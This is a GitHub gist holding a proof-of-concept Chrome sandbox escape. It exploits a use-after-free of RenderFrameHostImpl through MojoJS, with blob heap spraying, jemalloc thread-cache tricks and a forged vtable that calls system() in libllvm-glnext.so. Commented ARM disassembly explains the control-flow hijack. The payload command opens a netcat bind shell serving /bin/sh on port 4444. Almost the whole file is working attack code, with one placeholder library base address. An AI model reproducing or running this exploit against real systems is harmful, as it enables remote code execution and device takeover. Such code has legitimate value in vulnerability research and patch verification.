Skip to content

Instantly share code, notes, and snippets.

@ohnull

ohnull/poc.html Secret

Created March 2, 2021 15:57
Show Gist options
  • Save ohnull/2cbfa501936a2fff4fd9efa67310cda8 to your computer and use it in GitHub Desktop.
Save ohnull/2cbfa501936a2fff4fd9efa67310cda8 to your computer and use it in GitHub Desktop.
Yet Another RenderFrameHostImpl UAF
<html>
<head>
<script src="gen/mojo/public/js/mojo_bindings.js"></script>
<script src="gen/third_party/blink/public/mojom/sms/sms_receiver.mojom.js"></script>
<script src="gen/third_party/blink/public/mojom/blob/blob_registry.mojom.js"></script>
</head>
<body>
<script>
// credits/source for the code:
// https://googleprojectzero.blogspot.com/2019/04/virtually-unlimited-memory-escaping.html
// https://theori.io/research/escaping-chrome-sandbox/
function getAllocationConstructor() {
let blob_registry_ptr = new blink.mojom.BlobRegistryPtr();
Mojo.bindInterface(blink.mojom.BlobRegistry.name,
mojo.makeRequest(blob_registry_ptr).handle, "process", true);
function Allocation(size=880) {
function ProgressClient(allocate) {
function ProgressClientImpl() {
}
ProgressClientImpl.prototype = {
onProgress: async (arg0) => {
if (this.allocate.writePromise) {
this.allocate.writePromise.resolve(arg0);
}
}
};
this.allocate = allocate;
this.ptr = new mojo.AssociatedInterfacePtrInfo();
var progress_client_req = mojo.makeRequest(this.ptr);
this.binding = new mojo.AssociatedBinding(
blink.mojom.ProgressClient, new ProgressClientImpl(), progress_client_req
);
return this;
}
this.pipe = Mojo.createDataPipe({elementNumBytes: size, capacityNumBytes: size});
this.progressClient = new ProgressClient(this);
blob_registry_ptr.registerFromStream("", "", size, this.pipe.consumer, this.progressClient.ptr).then((res) => {
this.serialized_blob = res.blob;
})
this.malloc = async function(data) {
promise = new Promise((resolve, reject) => {
this.writePromise = {resolve: resolve, reject: reject};
});
this.pipe.producer.writeData(data);
this.pipe.producer.close();
written = await promise;
console.assert(written == data.byteLength);
}
this.free = async function() {
this.serialized_blob.blob.ptr.reset();
await sleep(1000);
}
this.read = function(offset, length) {
this.readpipe = Mojo.createDataPipe({elementNumBytes: 1, capacityNumBytes: length});
this.serialized_blob.blob.readRange(offset, length, this.readpipe.producer, null);
return new Promise((resolve) => {
this.watcher = this.readpipe.consumer.watch({readable: true}, (r) => {
result = new ArrayBuffer(length);
this.readpipe.consumer.readData(result);
this.watcher.cancel();
resolve(result);
});
});
}
this.readQword = async function(offset) {
let res = await this.read(offset, 8);
return (new DataView(res)).getBigUint64(0, true);
}
return this;
}
async function allocate(data) {
let allocation = new Allocation(data.byteLength);
await allocation.malloc(data);
return allocation;
}
return allocate;
}
class browserExploit
{
// COMMIT BASE: 5a40a11585adab08f920a2b3c524644c80b1573b
constructor()
{
// Browser Process Heap Spray
this.m_allocator_ = getAllocationConstructor();
}
// create an child iframe (same as creating a new RenderFrameHostImpl object in Browser Process for the given
// WebContents).
createChildFrame(htmlContent)
{
var iframe = document.createElement("iframe");
document.body.appendChild(iframe);
iframe.contentWindow.document.open();
iframe.contentWindow.document.write(htmlContent);
iframe.contentWindow.document.close();
return iframe;
}
// destroy a child iframe (same as destroying a RenderFrameHostImpl object in Browser Process for a given
// WebContents)
destroyChildFrame(iframeRef)
{
document.body.removeChild(iframeRef);
}
JemallocRegionSprayStart(SIZE)
{
// Similar to the TCMalloc idea, RenderFrameHostImpl object are created/destroyed in UI thread
// that will be a different thread-cache (heap spray happens on IO thread AFAIK).
// So we want to really free our UAF chunk (by forcing a flush condition), this can be done
// allocate some regions and freeing them.
this.m_rfhSpray_ = [];
for (let i = 0; i < SIZE; i++)
{
this.m_rfhSpray_[i] = this.createChildFrame('<html></html>');
}
}
JemallocRegionSprayEnd()
{
if (typeof(this.m_rfhSpray_) === 'undefined')
{
return;
}
// Once we free the RFH, we will end up freeing bunch of region for the tcache
// and triggering a flush, it'll allow the IO thread to allocate our *freed*
// RFH (at least a higher chance to be able to reclaim it).
for (let i = 0; i < this.m_rfhSpray_.length; i++)
{
this.destroyChildFrame(this.m_rfhSpray_[i]);
}
}
async callSystem(command)
{
// libllvm-glnext.so address, should be able to get it using a RCE on Renderer
const LIB_LLVMGLNEXT_BASE = 0xDEADBEEF;
// system pointer in .data (libllvm-glnext.so)
// the 0xBC is because the WebContents::FromRenderFrameHost will call RFH->IsCurrent(), IsCurrent is a virtual method
// that is at the offset 0xBC in vtable, we want to adjust to the correct offset (and fall into the system ptr);
const LIB_LLVM_SYSTEM_OFFSET = 0x8E5184-0xBC;
// The amount of times we will spray the heap with our payload
const HEAP_SPRAY_SIZE = 0x2000;
// the size of RenderFrameHost object in heap memory
/*
v11 = (content::RenderFrameHostImpl *)operator new(0x880u);
v15 = v11;
v9 = &v14;
v14.ptr_ = (content::RenderViewHostImpl *)render_view_host.ptr_->_vptr$Sender;
render_view_host.ptr_->_vptr$Sender = 0;
content::RenderFrameHostImpl::RenderFrameHostImpl(
v11,
site_instance,
*/
const RFH_OBJECT_SIZE = 0x880;
// we create again another SmsReceiver interface
// however, it'll still hold a reference for the child-frame RFH that we will end up deleting
let smsRecvIt = new blink.mojom.SmsReceiverPtr();
Mojo.bindInterface(blink.mojom.SmsReceiver.name, mojo.makeRequest(smsRecvIt).handle, 'context', true);
// our payload that will replace the freed RFH
let ab = new ArrayBuffer(RFH_OBJECT_SIZE);
let u32 = new Uint32Array(ab);
let u64 = new BigInt64Array(ab);
let u8 = new Uint8Array(ab);
for (let i = 0; i < u32.length; i++)
{
u32[i] = 0x41424344;
}
// the first 4 bytes (32 bit architecture) is our virtual table pointer, let's set it to libllvm-glnext.so + system
u32[0] = LIB_LLVMGLNEXT_BASE + LIB_LLVM_SYSTEM_OFFSET;
// we will end up calling system(R0) where R0 is the "this" (pointer to the object)
// thus, it'll run something like system(vtable + our command), so let's write the command that we want
for (let i = 0; i < command.length; i++)
{
u8[i+0x4] = command.charCodeAt(i);
}
// NULL the string so it won't read whatever is on our payload after command
u8[command.length+4] = 0x00;
u8[command.length+5] = 0x00;
// After calling IsCurrent, we will end up doing the following code:
/*
WebContents* WebContents::FromRenderFrameHost(RenderFrameHost* rfh) {
OPTIONAL_TRACE_EVENT1(TRACE_DISABLED_BY_DEFAULT("content.verbose"),
"WebContents::FromRenderFrameHost", "render_frame_host",
base::trace_event::ToTracedValue(rfh));
if (!rfh)
return nullptr;
if (!rfh->IsCurrent() && base::FeatureList::IsEnabled( <------------------------------- [1]
kCheckWebContentsAccessFromNonCurrentFrame)) {
// TODO(crbug.com/1059903): return nullptr here eventually.
base::debug::DumpWithoutCrashing();
}
return static_cast<RenderFrameHostImpl*>(rfh)->delegate()->GetAsWebContents(); <------------------- [2]
}
At [1] we have the virtual function that we will hijack and use to call system(command), at [2] we
are going to read a "member" variable inside RFH and after it, call another virtual method to return the "WebContents",
if we can make it return 0, it'll not crash the browser and continue the execution smoothly.
0x0000000000000000: 10 B5 push {r4, lr}
0x0000000000000002: 98 B1 cbz r0, #0x2c
0x0000000000000004: 04 46 mov r4, r0
// R0 = RFH->vtable
0x0000000000000006: 00 68 ldr r0, [r0]
// R1 = RFH->vtable[0xBC/0x4] -- system pointer
0x0000000000000008: D0 F8 BC 10 ldr.w r1, [r0, #0xbc]
0x000000000000000c: 20 46 mov r0, r4
// system(R0)
0x000000000000000e: 88 47 blx r1
0x0000000000000010: 30 B9 cbnz r0, #0x20
0x0000000000000012: 07 48 ldr r0, [pc, #0x1c]
0x0000000000000014: 78 44 add r0, pc
0x0000000000000016: A9 F1 42 EA blx #0x1a949c
0x000000000000001a: 08 B1 cbz r0, #0x20
0x000000000000001c: A9 F1 06 EE blx #0x1a9c2c
// R0 = RFH->member_7c
0x0000000000000020: E0 6F ldr r0, [r4, #0x7c]
// R1 = RFH->member_7c->vtable
0x0000000000000022: 01 68 ldr r1, [r0]
// R1 = RFH->member_7c->vtable[0x64/0x4]
0x0000000000000024: 49 6E ldr r1, [r1, #0x64]
0x0000000000000026: BD E8 10 40 pop.w {r4, lr}
<-------------------------------------------------------------- {18}
// return R1(), where R1 is a function that will set R0 (return value) to 0
// it'll make WebContents == nullptr and not crashing the browser :)
0x000000000000002a: 08 47 bx r1
0x000000000000002c: 00 20 movs r0, #0
0x000000000000002e: 10 BD pop {r4, pc}
However, at this point we have no information disclosure about the heap layout, but, we are "1337 h4ck3rz" and we can
just use a pointer inside .data/.got/.rodata segments of some shared library(glnext?) that will end up
calling another function pointer that will call a function that *must* return 0, that's what we have here :D
the magic pointer!
Thus, the magic pointer will basically be:
| libllvm-glnext.so | offset 0x7C | libllvm-glnext.so | offset 0x64 | libllvm-glnext.so |
| .data pointer | -------------> | .rodata vtable pointer | ----------> | .text MOV R0, #0x0, BX LR |
| | | | | |
*/
u32[0x7C/0x4] = (LIB_LLVMGLNEXT_BASE + 0x8C8FBC - 0x58) + 0x1BC84;
alert ("[+] destroying child and spraying!!");
// thread-cache trick + delete child iframe (thus, deleting RFH on browser process side)
this.destroyChildFrame(window.victimIframe);
this.JemallocRegionSprayEnd();
// spray the heap
for (let i = 0; i < HEAP_SPRAY_SIZE; i++)
{
await this.m_allocator_(u64);
}
alert("[+] triggering!");
// trigger the vulnerability
await smsRecvIt.receive();
}
}
async function recvMessage(e)
{
// we received the postMessage from child frame
alert("[+] postMessage!!!");
await window.exp.callSystem(' || (toybox nc -p 4444 -l /bin/sh)');
}
function start()
{
// exploit utils
window.exp = new browserExploit();
// we are going to have an event listener for postMessage as we need to wait the child
// frame to create a Mojo Interface for SmsReceiver (thus, using its RFH obj).
window.addEventListener("message", recvMessage, false);
// Jemalloc trick for thread-cache
window.exp.JemallocRegionSprayStart(0x20);
// create the child iframe that will end up creating the first SmsReceiver mojo interface
window.victimIframe = window.exp.createChildFrame(
`
<html>
<body onload="setup()">
<script src="gen/mojo/public/js/mojo_bindings.js"><\/script>
<script src="gen/third_party/blink/public/mojom/sms/sms_receiver.mojom.js"><\/script>
<script>
function setup()
{
let smsObj = new blink.mojom.SmsReceiverPtr();
let request_handle = mojo.makeRequest(smsObj).handle;
let handle_ = smsObj.ptr.handle_;
Mojo.bindInterface(blink.mojom.SmsReceiver.name, smsObj.ptr.handle_, 'context', true);
parent.postMessage(handle_, '*', [handle_]);
}
<\/script>
</body>
</html>
`);
}
start();
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment